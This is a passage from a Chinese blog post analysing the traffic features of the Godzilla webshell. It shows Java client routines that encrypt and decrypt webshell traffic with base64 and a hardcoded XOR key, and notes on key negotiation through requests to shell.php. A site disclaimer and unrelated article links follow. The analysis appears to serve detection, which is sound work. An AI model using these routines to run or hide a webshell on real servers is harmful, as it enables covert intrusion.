        baseCls = Class.forName("sun.misc.BASE64Encoder");
        Object Encoder = baseCls.newInstance();
        
        // 调用 BASE64Encoder 的 encode 方法进行编码
        String result = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
        
        // 去除编码结果中的换行符
        result = result.replace("\n", "").replace("\r", "");
        
        // 将结果转换为字节数组
        encrypted = result.getBytes();
    }
    
    // 返回加密并编码后的字节数组
    return encrypted;
}

客户端解密函数

private byte[] Decrypt(byte[] data) throws Exception
{
    // 声明一个字节数组,用于存储解码后的字节
    byte[] decodebs;
    // 声明一个类对象,用于动态加载类
    Class baseCls;
    
    try {
        // 尝试加载 java.util.Base64 类
        baseCls = Class.forName("java.util.Base64");
        // 获取 Base64 类的解码器实例
        Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
        // 使用解码器对输入的字节数组进行解码
        decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
        // 如果加载 java.util.Base64 失败,尝试加载 sun.misc.BASE64Decoder 类
        baseCls = Class.forName("sun.misc.BASE64Decoder");
        // 创建 BASE64Decoder 的实例
        Object Decoder = baseCls.newInstance();
        // 使用 BASE64Decoder 对输入的字节数组进行解码,注意这里需要将字节数组转换为字符串
        decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
    }
    
    // 定义一个密钥,用于后续的异或操作
    String key = "e45e329feb5d925b";
    // 对解码后的字节数组进行异或操作,使用密钥的字节
    for (int i = 0; i < decodebs.length; i++) {
        // 将解码后的字节与密钥的相应字节进行异或运算
        decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
    }
    
    // 返回解密后的字节数组
    return decodebs;
}

第一阶段-密钥协商

首先tcp连接,然后访问 shell.php

请求响应加密方式一样

对称加密

xor加密

base64加密

1) referer与url目录级数一致

流量特征

哥斯拉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2299064.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在 rtthread中,rt_list_entry (rt_container_of) 已知结构体成员的地址,反推出结构体的首地址

rt_list_entry (rt_container_of)宏定义&#xff1a; /*** rt_container_of - return the start address of struct type, while ptr is the* member of struct type.*/ #define rt_container_of(ptr, type, member) \((type *)((char *)(ptr) - (unsigned long)(&((type *…

趣味魔法项目 LinuxPDF —— 在 PDF 中启动一个 Linux 操作系统

最近&#xff0c;一位开源爱好者开发了一个LinuxPDF 项目&#xff08;ading2210/linuxpdf: Linux running inside a PDF file via a RISC-V emulator&#xff09;&#xff0c;它的核心功能是在一个 PDF 文件中启动并运行 Linux 操作系统。它通过巧妙地使用 PDF 文件格式中的 Ja…

【Linux】Socket编程—TCP

&#x1f525; 个人主页&#xff1a;大耳朵土土垚 &#x1f525; 所属专栏&#xff1a;Linux系统编程 这里将会不定期更新有关Linux的内容&#xff0c;欢迎大家点赞&#xff0c;收藏&#xff0c;评论&#x1f973;&#x1f973;&#x1f389;&#x1f389;&#x1f389; 文章目…

新数据结构(9)——Java异常体系

异常的种类 程序本身通常无法主动捕获并处理错误&#xff08;Error&#xff09;&#xff0c;因为这些错误通常表示系统级的严重问题&#xff0c;但程序可以捕获并处理异常&#xff08;Excrption&#xff09;&#xff0c;而Error则被视为一种程序无法或不应尝试恢复的异常类型。…

NixHomepage - 简单的个人网站

&#x1f4bb; NixHomepage - 简单的个人网站 推荐下个人的开源项目&#xff0c;演示网站&#xff0c;项目链接 https://github.com/nixgnauhcuy/NixHomepage&#xff0c;喜欢的话可以为我的项目点个 Star~ &#x1f4f7; 预览 ⚙️ 功能特性 多平台适配 明亮/暗黑模式切换 W…

HCIA项目实践---OSPF的知识和原理总结

9.5 OSPF 9.5.1 从哪些角度评判一个动态路由协议的好坏&#xff1f; &#xff08;1&#xff09;选路佳&#xff08;是否会出环&#xff09; OSPF 协议采用链路状态算法&#xff0c;通过收集网络拓扑信息来计算最短路径&#xff0c;从根本上避免了路由环路的产生。 &#xff08…

Calico网络组件本地部署支持IPv6(Kubernetes)

知其然 问题背景 因项目现场的网络正逐步从IPv4向IPv6迁移&#xff0c;这几年现场服务器基本上都配置了双栈&#xff1b;但随着IPv6铺开&#xff0c;出现了很多纯IPv6的服务器&#xff0c;并且要求通信优先使用IPv6。 在项目建设之初&#xff0c;其实就考虑了上述情况&#…

【广州大学主办,发表有保障 | IEEE出版,稳定EI检索,往届见刊后快至1个月检索】第二届电气技术与自动化工程国际学术会议 (ETAE 2025)

第二届电气技术与自动化工程国际学术会议 (ETAE 2025) The 2nd International Conference on Electrical Technology and Automation Engineering 大会官网&#xff1a;http://www.icetae.com/【更多详情】 会议时间&#xff1a;2025年4月25-27日 会议地点&#xff1a…

Python项目31:待办事项列表应用1.0(命令行界面+Json+类+初学者必做)

------------★Python练手项目源码★------------ Python项目27&#xff1a;用Tkinter写日志管理系统&#xff08;中下等难度&#xff09; Python项目26&#xff1a;设计学生成绩管理系统&#xff08;简易版&#xff09; Python项目25&#xff1a;带滚动效果的商场抽奖系统&…

Redis 01 02章——入门概述与安装配置

一、入门概述 &#xff08;1&#xff09;是什么 Redis&#xff1a;REmote Dictionary Server&#xff08;远程字典服务器&#xff09;官网解释&#xff1a;Remote Dictionary Server(远程字典服务)是完全开源的&#xff0c;使用ANSIC语言编写遵守BSD协议&#xff0c;是一个高…

Large Language Model Distilling Medication Recommendation Model

摘要&#xff1a;药物推荐是智能医疗系统的一个重要方面&#xff0c;因为它涉及根据患者的特定健康需求开具最合适的药物。不幸的是&#xff0c;目前使用的许多复杂模型往往忽视医疗数据的细微语义&#xff0c;而仅仅严重依赖于标识信息。此外&#xff0c;这些模型在处理首次就…

2025最新版Node.js下载安装~保姆级教程

1. node中文官网地址&#xff1a;http://nodejs.cn/download/ 2.打开node官网下载压缩包&#xff1a; 根据操作系统不同选择不同版本&#xff08;win7系统建议安装v12.x&#xff09; 我这里选择最新版win 64位 3.安装node ①点击对话框中的“Next”&#xff0c;勾选同意后点…

springboot如何将lib和jar分离

遇到一个问题&#xff0c;就是每次maven package或者maven install后target中的jar很大&#xff0c;少的50几MB&#xff0c;大的100多兆 优化前&#xff1a; 优化后&#xff1a; 优化前 优化后压缩率77.2MB4.65MB93% 具体方案&#xff1a; pom.xml中 <build><…

RocketMQ和Kafka如何实现顺序写入和顺序消费?

0 前言 先说明kafka&#xff0c;顺序写入和消费是Kafka的重要特性&#xff0c;但需要正确的配置和使用方式才能保证。本文需要解释清楚Kafka如何通过分区来实现顺序性&#xff0c;以及生产者和消费者应该如何配合。   首先&#xff0c;顺序写入。Kafka的消息是按分区追加写入…

Node.js技术原理分析系列——Node.js调试能力分析

本文由体验技术团队屈金雄原创。 Node.js 是一个开源的、跨平台的 JavaScript 运行时环境&#xff0c;它允许开发者在服务器端运行 JavaScript 代码。Node.js 是基于 Chrome V8引擎构建的&#xff0c;专为高性能、高并发的网络应用而设计&#xff0c;广泛应用于构建服务器端应…

从技术债务到架构升级,滴滴国际化外卖的变革

背 景 商家营销简述 在外卖平台的运营中&#xff0c;我们致力于通过灵活的补贴策略激励商家&#xff0c;与商家共同打造良好的合作关系&#xff0c;也会提供多样化的营销活动&#xff0c;帮助商家吸引更多用户下单。通过这些活动&#xff0c;不仅能够提高商家的销量&#xff0c…

SQL Query美化

推荐一个可以美化Query的网站&#xff01; 名称&#xff1a;SQL formatter | Online free SQL Beautifier 地址&#xff1a;https://sqlformatter.org/# 在处理 SQL 查询语句时&#xff0c;可读性是至关重要的。 杂乱无章的 SQL代码不仅难以理解&#xff0c;还会给后续的维…

2025 docker可视化管理面板DPanel的安装

1.什么是 DPanel &#xff1f; DPanel 是一款 Docker 可视化管理面板&#xff0c;旨在简化 Docker 容器、镜像和文件的管理。它提供了一系列功能&#xff0c;使用户能够更轻松地管理和部署 Docker 环境。 软件特点&#xff1a; 可视化管理&#xff1a;提供直观的用户界面&#…

mapbox V3 新特性,添加下雪效果

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;mapbox 从入门到精通 文章目录 一、&#x1f340;前言1.1 ☘️mapboxgl.Map 地图对象…

【STM32】H743的以太网MAC控制器的一个特殊功能

调试743的MAC&#xff0c;翻阅手册的时候&#xff0c;发现了一个有意思的功能 混杂模式 H743的MAC控制器&#xff0c;可以设置为混杂模式&#xff0c;这就意味着它可以做一些网络监控的应用&#xff0c;譬如连接具备端口镜像功能的交换机&#xff0c;然后直接代替PC实现网络数据…